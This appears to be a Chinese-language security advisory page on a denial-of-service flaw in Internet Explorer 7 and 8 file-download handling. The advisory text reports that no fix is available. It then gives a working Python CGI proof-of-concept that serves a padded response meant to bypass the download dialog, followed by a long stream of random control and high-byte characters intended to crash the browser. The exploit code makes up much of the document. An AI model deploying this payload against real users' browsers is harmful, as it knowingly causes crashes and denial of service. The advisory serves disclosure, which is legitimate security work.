BUGTRAQ ID: 34478
CNCAN ID：CNCAN-2009041302
Microsoft Internet Explorer是一款流行的WEB浏览器。
Microsoft Internet Explorer处理文件下载存在问题，远程攻击者可以利用漏洞对应用程序进行拒绝服务攻击。
构建恶意服务器应答提交给浏览器处理，可导致IE浏览器崩溃。
Microsoft Internet Explorer 8
Microsoft Internet Explorer 7.0
目前没有解决方案提供：
<a href=http://www.microsoft.com/windows/ie/ target=_blank rel=external nofollow>http://www.microsoft.com/windows/ie/</a>
#/usr/bin/env python
import sys
import random
CHAR_SET = [chr(x) for x in range(0x20)]
CHAR_SET += [chr(x) for x in range(128, 256)]
def send_file():
l = 800000 + 4096
print "Content-Type: text/plain"
print "Content-Length: %d" % l
print "Cache-Control: no-cache, no-store, must-revalidate"
# this is not standardized, but use it anyway
print "Pragma: no-cache"
print ""
# bypass IE download dialog
sys.stdout.write("a" * 4096)
# print junks
for i in xrange(l):
sys.stdout.write(random.choice(CHAR_SET))
sys.exit()
send_file()
共 1 兑换
京公网安备 11010502034610号
暂无评论